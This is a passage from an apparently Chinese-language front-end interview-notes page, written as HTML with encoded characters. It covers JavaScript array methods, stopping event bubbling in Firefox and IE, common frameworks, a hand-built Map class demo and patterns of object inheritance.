<li>&#x8C03;&#x7528;map&#x65B9;&#x6CD5;&#x4F20;&#x5165;Math.sqrt&#x7684;&#x65F6;&#x5019;,&#x53BB;&#x6389;&#x4E86;&#x62EC;&#x53F7;,&#x4E5F;&#x6CA1;&#x6709;&#x4F20;&#x5165;&#x53C2;&#x6570;</li>
<li>map&#x65B9;&#x6CD5;&#x5185;&#x90E8;&#x5E2E;&#x6211;&#x4EEC;&#x904D;&#x5386;&#x5E76;&#x4E14;&#x4F20;&#x5165;&#x6570;&#x7EC4;&#x7684;&#x6BCF;&#x4E2A;&#x5143;&#x7D20;</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>filter() &#x65B9;&#x6CD5;&#xFF0C;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x8C03;&#x7528;&#x7684;&#x6570;&#x7EC4;&#x7684;&#x4E00;&#x4E2A;&#x5B50;&#x96C6;&#xFF0C;&#x4F20;&#x9012;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7528;&#x6765;&#x903B;&#x8F91;&#x5224;&#x65AD;&#xFF0C;&#x8BE5;&#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x662F;&#x5E03;&#x5C14;&#x503C;&#xFF1B;<ul>
<li>&#x538B;&#x7F29;&#x7A7A;&#x7F3A;&#x6216;&#x5E76;&#x5220;&#x9664; undefined &#x548C; null &#x5143;&#x7D20;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; filter();</li>
</ul>
</li>
<li>instanceof </li>
<li>isArray(); ECMAScript 5 &#x4E2D;&#x7ED9;&#x51FA;&#x7684;&#x68C0;&#x6D4B;&#x6570;&#x7EC4;&#x7C7B;&#x578B;&#x7684;&#x65B9;&#x6CD5;&#xFF1B;<ul>
<li>&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#x662F;&#x5224;&#x65AD;&#x53D8;&#x91CF;&#x662F;&#x4E0D;&#x662F;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>forEach &#x65B9;&#x6CD5;&#xFF0C;&#x4ECE;&#x5934;&#x81F3;&#x5C3E;&#x904D;&#x5386;&#x6570;&#x7EC4;&#xFF0C;&#x4E3A;&#x6BCF;&#x4E2A;&#x5143;&#x7D20;&#x8C03;&#x7528;&#x6307;&#x5B9A;&#x7684;&#x51FD;&#x6570;&#xFF1B;<ul>
<li>&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x6570;&#x503C;&#x5143;&#x7D20;&#x3001;&#x6570;&#x7EC4;&#x7D22;&#x5F15;&#x3001;&#x6570;&#x7EC4;&#x672C;&#x8EAB;</li>
<li>&#x65E0;&#x6CD5;&#x518D;&#x6240;&#x6709;&#x5143;&#x7D20;&#x4F20;&#x9012;&#x5B8C;&#x8C03;&#x7528;&#x51FD;&#x6570;&#x4E4B;&#x524D;&#x7EC8;&#x6B62;&#x904D;&#x5386;</li>
</ul>
</li>
<li>reduce()&#x548C; reduceRight()<ul>
<li>reduce() &#x548C; reduceRight() &#x65B9;&#x6CD5;&#x4F7F;&#x7528;&#x6307;&#x5B9A;&#x7684;&#x51FD;&#x6570;&#x5C06;&#x6570;&#x7EC4;&#x5143;&#x7D20;&#x8FDB;&#x884C;&#x7EC4;&#x5408;&#xFF0C;&#x751F;&#x6210;&#x5355;&#x4E2A;&#x503C;&#x3002;</li>
<li>reduce() &#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF1A;<ul>
<li>&#x7B2C;&#x4E00;&#x4E2A;&#x662F;&#x6267;&#x884C;&#x7B80;&#x5316;&#x64CD;&#x4F5C;&#x7684;&#x51FD;&#x6570;&#x3002;&#x5316;&#x7B80;&#x51FD;&#x6570;&#x7684;&#x4EFB;&#x52A1;&#x5C31;&#x662F;&#x7528;&#x67D0;&#x79CD;&#x65B9;&#x6CD5;&#x628A;&#x4E24;&#x4E2A;&#x503C;&#x7EC4;&#x5408;&#x548C;&#x5316;&#x7B80;&#x4E3A;&#x4E00;&#x4E2A;&#x503C;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x7B80;&#x5316;&#x540E;&#x7684;&#x503C;&#x3002;</li>
<li>&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x53EF;&#x9009;&#x53C2;&#x6570;</li>
</ul>
</li>
<li>reduceRight() &#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#x548C; reduce() &#x4E00;&#x6837;&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x662F;&#x5B83;&#x6309;&#x7167;&#x6570;&#x7EC4;&#x7D22;&#x5F15;&#x4ECE;&#x9AD8;&#x5230;&#x4F4E;&#x5904;&#x7406;&#x6570;&#x7EC4;&#xFF1B;</li>
</ul>
</li>
</ul>
<h3 id="ECMAScript-6-&#x4E2D;&#x6570;&#x7EC4;&#x65B0;&#x65B9;&#x6CD5;"><a href="#ECMAScript-6-&#x4E2D;&#x6570;&#x7EC4;&#x65B0;&#x65B9;&#x6CD5;" class="headerlink" title="ECMAScript 6 &#x4E2D;&#x6570;&#x7EC4;&#x65B0;&#x65B9;&#x6CD5;"></a>ECMAScript 6 &#x4E2D;&#x6570;&#x7EC4;&#x65B0;&#x65B9;&#x6CD5;</h3><ul>
<li>Array.prototype.find &#x65B9;&#x6CD5;&#x7528;&#x4E8E;&#x627E;&#x51FA;&#x7B2C;&#x4E00;&#x4E2A;&#x7B26;&#x5408;&#x6761;&#x4EF6;&#x7684;&#x6570;&#x7EC4;&#x6210;&#x5458;&#x3002;<ul>
<li>&#x53C2;&#x6570;&#x662F;&#x4E00;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x627E;&#x5230;&#x7B2C;&#x4E00;&#x4E2A;&#x8FD4;&#x56DE; true &#x7684;&#x6570;&#x7EC4;&#x9879;&#xFF0C;&#x7136;&#x540E;&#x8FD4;&#x56DE;&#x8BE5;&#x6570;&#x7EC4;&#x9879;&#xFF1B;</li>
<li>&#x627E;&#x4E0D;&#x5230;&#x8FD4;&#x56DE;undefined&#xFF1B;</li>
</ul>
</li>
<li>&#x4E24;&#x4E2A;&#x9759;&#x6001;&#x65B9;&#x6CD5;<ul>
<li>Array.from<ul>
<li>&#x5C06;&#x4E00;&#x4E2A;&#x4F2A;&#x6570;&#x7EC4;&#x8F6C;&#x6210;&#x6B63;&#x771F;&#x7684;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>Array.of <ul>
<li>&#x5C06;&#x65B9;&#x6CD5;&#x4E2D;&#x53C2;&#x6570;&#x90FD;&#x6DFB;&#x52A0;&#x5230;&#x4E00;&#x4E2A;&#x6570;&#x7EC4;&#x4E2D;</li>
</ul>
</li>
</ul>
</li>
<li>&#x64CD;&#x4F5C;&#x3001;&#x586B;&#x5145;&#x548C;&#x8FC7;&#x6EE4;&#x6570;&#x7EC4;&#x7684;&#x65B9;&#x6CD5;<ul>
<li>Array.prototype.copyWidthin</li>
<li>Array.prototype.fill</li>
<li>Array.prototype.find<ul>
<li>&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x6BCF;&#x4E00;&#x9879;&#x6267;&#x884C;&#x8C03;&#x7528;&#x5B83;</li>
</ul>
</li>
<li>Array.prototype.findIndex</li>
</ul>
</li>
<li>&#x6709;&#x5173;&#x6570;&#x7EC4;&#x8FED;&#x4EE3;&#x7684;&#x65B9;&#x6CD5;<ul>
<li>Array.prototype.keys</li>
<li>Array.prototype.values</li>
<li>Array.prototype.entries</li>
<li>Array.prototype[Symbol.iterator]</li>
</ul>
</li>
</ul>
<h2 id="FF&#x4E0E;IE&#x4E2D;&#x5982;&#x4F55;&#x963B;&#x6B62;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#xFF0C;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x7684;&#x5143;&#x7D20;"><a href="#FF&#x4E0E;IE&#x4E2D;&#x5982;&#x4F55;&#x963B;&#x6B62;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#xFF0C;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x7684;&#x5143;&#x7D20;" class="headerlink" title="FF&#x4E0E;IE&#x4E2D;&#x5982;&#x4F55;&#x963B;&#x6B62;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#xFF0C;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x7684;&#x5143;&#x7D20;"></a>FF&#x4E0E;IE&#x4E2D;&#x5982;&#x4F55;&#x963B;&#x6B62;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#xFF0C;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x7684;&#x5143;&#x7D20;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">stopPropagation</span>(<span class="params">e</span>) </span>{  </div><div class="line">  e = e || <span class="built_in">window</span>.event;  </div><div class="line">  <span class="keyword">if</span>(e.stopPropagation) { <span class="comment">//W3C&#x963B;&#x6B62;&#x5192;&#x6CE1;&#x65B9;&#x6CD5;  </span></div><div class="line">    e.stopPropagation();  </div><div class="line">  } <span class="keyword">else</span> {  </div><div class="line">    e.cancelBubble = <span class="literal">true</span>; <span class="comment">//IE&#x963B;&#x6B62;&#x5192;&#x6CE1;&#x65B9;&#x6CD5;  </span></div><div class="line">  }  </div><div class="line">}  </div><div class="line"><span class="built_in">document</span>.getElementById(<span class="string">&apos;need_hide&apos;</span>).onclick = <span class="function"><span class="keyword">function</span>(<span class="params">e</span>) </span>{  </div><div class="line">  stopPropagation(e);  </div><div class="line">}</div></pre></td></tr></table></figure>
<h2 id="&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;js&#x6846;&#x67B6;&#x4EE5;&#x53CA;&#x5206;&#x522B;&#x9002;&#x7528;&#x7684;&#x9886;&#x57DF;"><a href="#&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;js&#x6846;&#x67B6;&#x4EE5;&#x53CA;&#x5206;&#x522B;&#x9002;&#x7528;&#x7684;&#x9886;&#x57DF;" class="headerlink" title="&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;js&#x6846;&#x67B6;&#x4EE5;&#x53CA;&#x5206;&#x522B;&#x9002;&#x7528;&#x7684;&#x9886;&#x57DF;"></a>&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;js&#x6846;&#x67B6;&#x4EE5;&#x53CA;&#x5206;&#x522B;&#x9002;&#x7528;&#x7684;&#x9886;&#x57DF;</h2><p>jQuery &#x5E93; DOM &#x64CD;&#x4F5C;<br>Bootstrap &#x662F; UI &#x7EC4;&#x4EF6;&#xFF0C;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;<br>Angular &#x6846;&#x67B6;&#x5355;&#x9875;&#x5E94;&#x7528;&#x7A0B;&#x5E8F; SPA</p>
<p>&#x5E93;&#x7684;&#x7279;&#x70B9;</p>
<ul>
<li>&#x9009;&#x62E9;&#x5668;&#xFF08;Selector&#xFF09;</li>
<li>DOM &#x904D;&#x5386;</li>
<li>DOM &#x64CD;&#x4F5C;</li>
<li>&#x5B9E;&#x7528;&#xFF08;Utility&#xFF09;&#x51FD;&#x6570;</li>
<li>&#x4E8B;&#x4EF6;&#x5904;&#x7406;</li>
<li>Ajax</li>
</ul>
<h2 id="js&#x4E2D;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;map"><a href="#js&#x4E2D;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;map" class="headerlink" title="js&#x4E2D;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;map"></a>js&#x4E2D;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;map</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;!DOCTYPE html &gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;Content-Type&quot;</span> <span class="attr">content</span>=<span class="string">&quot;text/html; charset=utf-8&quot;</span> /&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>&#x65E0;&#x6807;&#x9898;&#x6587;&#x6863;<span class="tag">&lt;/<span class="name">title</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">language</span>=<span class="string">&quot;javascript&quot;</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="built_in">Array</span>.prototype.remove = <span class="function"><span class="keyword">function</span>(<span class="params">s</span>) </span>{</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="keyword">this</span>.length; i++) {</div><div class="line">      <span class="keyword">if</span> (s == <span class="keyword">this</span>[i]) <span class="keyword">this</span>.splice(i, <span class="number">1</span>);</div><div class="line">    }</div><div class="line">  }</div><div class="line">  <span class="function"><span class="keyword">function</span> <span class="title">Map</span>(<span class="params"></span>) </span>{</div><div class="line">    <span class="comment">/** &#x5B58;&#x653E;&#x952E;&#x7684;&#x6570;&#x7EC4;(&#x904D;&#x5386;&#x7528;&#x5230;) */</span></div><div class="line">    <span class="keyword">this</span>.keys = <span class="keyword">new</span> <span class="built_in">Array</span>();</div><div class="line">    <span class="comment">/** &#x5B58;&#x653E;&#x6570;&#x636E; */</span></div><div class="line">    <span class="keyword">this</span>.data = <span class="keyword">new</span> <span class="built_in">Object</span>();</div><div class="line">      </div><div class="line">    <span class="comment">// &#x653E;&#x5165;&#x4E00;&#x4E2A;&#x952E;&#x503C;&#x5BF9;</span></div><div class="line">    <span class="keyword">this</span>.put = <span class="function"><span class="keyword">function</span>(<span class="params">key, value</span>) </span>{</div><div class="line">      <span class="keyword">if</span>(<span class="keyword">this</span>.data[key] == <span class="literal">null</span>){</div><div class="line">        <span class="keyword">this</span>.keys.push(key);</div><div class="line">      }</div><div class="line">      <span class="keyword">this</span>.data[key] = value;</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x83B7;&#x53D6;&#x67D0;&#x952E;&#x5BF9;&#x5E94;&#x7684;&#x503C;</span></div><div class="line">    <span class="keyword">this</span>.get = <span class="function"><span class="keyword">function</span>(<span class="params">key</span>) </span>{</div><div class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.data[key];</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x5220;&#x9664;&#x4E00;&#x4E2A;&#x952E;&#x503C;&#x5BF9;</span></div><div class="line">    <span class="keyword">this</span>.remove = <span class="function"><span class="keyword">function</span>(<span class="params">key</span>) </span>{</div><div class="line">      <span class="keyword">this</span>.keys.remove(key);</div><div class="line">      <span class="keyword">this</span>.data[key] = <span class="literal">null</span>;</div><div class="line">    }; </div><div class="line">      </div><div class="line">    <span class="comment">// &#x904D;&#x5386;Map,&#x6267;&#x884C;&#x5904;&#x7406;&#x51FD;&#x6570;</span></div><div class="line">    <span class="keyword">this</span>.each = <span class="function"><span class="keyword">function</span>(<span class="params">fn</span>)</span>{</div><div class="line">      <span class="keyword">if</span>(<span class="keyword">typeof</span> fn != <span class="string">&apos;function&apos;</span>){</div><div class="line">          <span class="keyword">return</span>;</div><div class="line">      }</div><div class="line">      <span class="keyword">var</span> len = <span class="keyword">this</span>.keys.length;</div><div class="line">      <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;len;i++){</div><div class="line">        <span class="keyword">var</span> k = <span class="keyword">this</span>.keys[i];</div><div class="line">        fn(k,<span class="keyword">this</span>.data[k],i);</div><div class="line">      }</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x83B7;&#x53D6;&#x952E;&#x503C;&#x6570;&#x7EC4;(&#x7C7B;&#x4F3C;Java&#x7684;entrySet())</span></div><div class="line">    <span class="keyword">this</span>.entrys = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</div><div class="line">      <span class="keyword">var</span> len = <span class="keyword">this</span>.keys.length;</div><div class="line">      <span class="keyword">var</span> entrys = <span class="keyword">new</span> <span class="built_in">Array</span>(len);</div><div class="line">      <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; len; i++) {</div><div class="line">        entrys[i] = {</div><div class="line">          <span class="attr">key</span> : <span class="keyword">this</span>.keys[i],</div><div class="line">          <span class="attr">value</span> : <span class="keyword">this</span>.data[i]</div><div class="line">        };</div><div class="line">      }</div><div class="line">      <span class="keyword">return</span> entrys;</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x5224;&#x65AD;Map&#x662F;&#x5426;&#x4E3A;&#x7A7A;</span></div><div class="line">    <span class="keyword">this</span>.isEmpty = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</div><div class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.keys.length == <span class="number">0</span>;</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x83B7;&#x53D6;&#x952E;&#x503C;&#x5BF9;&#x6570;&#x91CF;</span></div><div class="line">    <span class="keyword">this</span>.size = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.keys.length;</div><div class="line">    };</div><div class="line">      </div><div class="line">    <span class="comment">// &#x91CD;&#x5199;toString </span></div><div class="line">    <span class="keyword">this</span>.toString = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</div><div class="line">      <span class="keyword">var</span> s = <span class="string">&quot;{&quot;</span>;</div><div class="line">      <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;<span class="keyword">this</span>.keys.length;i++,s+=<span class="string">&apos;,&apos;</span>){</div><div class="line">        <span class="keyword">var</span> k = <span class="keyword">this</span>.keys[i];</div><div class="line">        s += k+<span class="string">&quot;=&quot;</span>+<span class="keyword">this</span>.data[k];</div><div class="line">      }</div><div class="line">      s+=<span class="string">&quot;}&quot;</span>;</div><div class="line">      <span class="keyword">return</span> s;</div><div class="line">    };</div><div class="line">  }</div><div class="line">  <span class="function"><span class="keyword">function</span> <span class="title">testMap</span>(<span class="params"></span>)</span>{</div><div class="line">    <span class="keyword">var</span> m = <span class="keyword">new</span> <span class="built_in">Map</span>();</div><div class="line">    m.put(<span class="string">&apos;key1&apos;</span>,<span class="string">&apos;Comtop&apos;</span>);</div><div class="line">    m.put(<span class="string">&apos;key2&apos;</span>,<span class="string">&apos;&#x5357;&#x65B9;&#x7535;&#x7F51;&apos;</span>);</div><div class="line">    m.put(<span class="string">&apos;key3&apos;</span>,<span class="string">&apos;&#x666F;&#x65B0;&#x82B1;&#x56ED;&apos;</span>);</div><div class="line">    alert(<span class="string">&quot;init:&quot;</span>+m);  </div><div class="line">    m.put(<span class="string">&apos;key1&apos;</span>,<span class="string">&apos;&#x5EB7;&#x62D3;&#x666E;&apos;</span>);</div><div class="line">    alert(<span class="string">&quot;set key1:&quot;</span>+m);</div><div class="line">    m.remove(<span class="string">&quot;key2&quot;</span>);</div><div class="line">    alert(<span class="string">&quot;remove key2: &quot;</span>+m);</div><div class="line">    <span class="keyword">var</span> s =<span class="string">&quot;&quot;</span>;</div><div class="line">    m.each(<span class="function"><span class="keyword">function</span>(<span class="params">key,value,index</span>)</span>{</div><div class="line">        s += index+<span class="string">&quot;:&quot;</span>+ key+<span class="string">&quot;=&quot;</span>+value+<span class="string">&quot;\n&quot;</span>;</div><div class="line">    });</div><div class="line">    alert(s);</div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">&quot;testMap()&quot;</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></div></pre></td></tr></table></figure>
<p><a href="http://blog.csdn.net/angel_he/article/details/47613743" target="_blank" rel="external">&#x7528;js&#x5199;&#x4E00;&#x4E2A;&#x5B9E;&#x73B0;map</a></p>
<h2 id="js&#x53EF;&#x5426;&#x5B9E;&#x73B0;&#x9762;&#x5411;&#x5BF9;&#x8C61;&#x7F16;&#x7A0B;&#xFF0C;&#x5982;&#x679C;&#x53EF;&#x4EE5;&#x5982;&#x4F55;&#x5B9E;&#x73B0;js&#x5BF9;&#x8C61;&#x7684;&#x7EE7;&#x627F;"><a href="#js&#x53EF;&#x5426;&#x5B9E;&#x73B0;&#x9762;&#x5411;&#x5BF9;&#x8C61;&#x7F16;&#x7A0B;&#xFF0C;&#x5982;&#x679C;&#x53EF;&#x4EE5;&#x5982;&#x4F55;&#x5B9E;&#x73B0;js&#x5BF9;&#x8C61;&#x7684;&#x7EE7;&#x627F;" class="headerlink" title="js&#x53EF;&#x5426;&#x5B9E;&#x73B0;&#x9762;&#x5411;&#x5BF9;&#x8C61;&#x7F16;&#x7A0B;&#xFF0C;&#x5982;&#x679C;&#x53EF;&#x4EE5;&#x5982;&#x4F55;&#x5B9E;&#x73B0;js&#x5BF9;&#x8C61;&#x7684;&#x7EE7;&#x627F;"></a>js&#x53EF;&#x5426;&#x5B9E;&#x73B0;&#x9762;&#x5411;&#x5BF9;&#x8C61;&#x7F16;&#x7A0B;&#xFF0C;&#x5982;&#x679C;&#x53EF;&#x4EE5;&#x5982;&#x4F55;&#x5B9E;&#x73B0;js&#x5BF9;&#x8C61;&#x7684;&#x7EE7;&#x627F;</h2><blockquote>
<p>&#x6269;&#x5C55;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x5B9E;&#x73B0;&#x7EE7;&#x627F;<br>&#x66FF;&#x6362;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x5B9E;&#x73B0;&#x7EE7;&#x627F;<br>&#x53E6;&#x4E00;&#x79CD;&#x539F;&#x578B;&#x7EE7;&#x627F;&#xFF08;&#x52A8;&#x6001;&#x539F;&#x578B;&#x6A21;&#x5F0F;&#xFF09; &#x7279;&#x70B9;&#xFF1A;&#x8BA9;&#x4EE3;&#x7801;&#x5C01;&#x88C5;&#x5230;&#x4E00;&#x8D77;<br>&#x6DF7;&#x5165;&#x7EE7;&#x627F;&#xFF1A; &#x5DF2;&#x77E5;&#x4E24;&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x7EE7;&#x627F;&#x53E6;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x7684;&#x529F;&#x80FD;&#xFF0C;for..in, jQuery&#x7684;extend()&#x65B9;&#x6CD5;&#x539F;&#x7406;&#x662F;&#x6DF7;&#x5165;&#x7EE7;&#x627F;<br>&#x539F;&#x578B;+&#x6DF7;&#x5165;&#x7EE7;&#x627F;&#xFF1A;&#x6DF7;&#x5165;&#x7EE7;&#x627F;&#x7684;&#x5E94;&#x7528;, &#x5728;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x7684;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x6269;&#x5C55;&#x53E6;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x7684;&#x5C5E;&#x6027;&#x548C;&#x65B9;&#x6CD5;, jQuery.fn.extend() &#x5229;&#x7528;&#x7684;&#x539F;&#x7406;&#x662F;&#x539F;&#x578B;+&#x6DF7;&#x5165;&#x7EE7;&#x627F;<br>&#x7ECF;&#x5178;&#x7EE7;&#x627F;&#xFF1A;&#x5DF2;&#x77E5;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;knownObj&#xFF0C;&#x9700;&#x8981;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x4E2A;&#x65B0;&#x5BF9;&#x8C61;&#x7EE7;&#x627F;&#x81EA;&#x5DF2;&#x77E5;&#x7684;&#x5BF9;&#x8C61;knownObj,ES5 Object.create()&#x65B9;&#x6CD5;&#x7684;&#x5B9E;&#x73B0;&#x539F;&#x7406;&#x5C31;&#x662F;&#x7ECF;&#x5178;&#x7EE7;&#x627F;<br>&#x501F;&#x7528;&#x6784;&#x9020;&#x51FD;&#x6570;&#x5B9E;&#x73B0;&#x7EE7;&#x627F;<br>&#x6DF7;&#x5408;&#x7EE7;&#x627F;&#xFF08;&#x7ECF;&#x5178;&#x7EE7;&#x627F;+&#x501F;&#x7528;&#x6784;&#x9020;&#x51FD;&#x6570;&#xFF09; &#x89E3;&#x51B3;&#x501F;&#x7528;&#x6784;&#x9020;&#x51FD;&#x6570;&#x7EE7;&#x627F;&#x4E0D;&#x80FD;&#x591F;&#x7EE7;&#x627F;&#x539F;&#x578B;&#x5BF9;&#x8C61;&#x4E0A;&#x7684;&#x65B9;&#x6CD5;&#x7684;&#x95EE;&#x9898;; &#x7EE7;&#x627F;&#x4E86;&#x4E24;&#x6B21;&#x6784;&#x9020;&#x51FD;&#x6570;&#xFF08;&#x6A21;&#x677F;&#xFF09;<br>&#x6DF7;&#x5408;&#x7EE7;&#x627F;&#xFF08;&#x7ECF;&#x5178;&#x7EE7;&#x627F;+&#x501F;&#x7528;&#x6784;&#x9020;&#x51FD;&#x6570;&#xFF09;</p>
</blockquote>
<h2 id="&#x53D8;&#x91CF;&#x7684;&#x547D;&#x540D;&#x89C4;&#x8303;&#x4EE5;&#x53CA;&#x547D;&#x540D;&#x63A8;&#x8350;"><a href="#&#x53D8;&#x91CF;&#x7684;&#x547D;&#x540D;&#x89C4;&#x8303;&#x4EE5;&#x53CA;&#x547D;&#x540D;&#x63A8;&#x8350;" class="headerlink" title="&#x53D8;&#x91CF;&#x7684;&#x547D;&#x540D;&#x89C4;&#x8303;&#x4EE5;&#x53CA;&#x547D;&#x540D;&#x63A8;&#x8350;"></a>&#x53D8;&#x91CF;&#x7684;&#x547D;&#x540D;&#x89C4;&#x8303;&#x4EE5;&#x53CA;&#x547D;&#x540D;&#x63A8;&#x8350;</h2><blockquote>
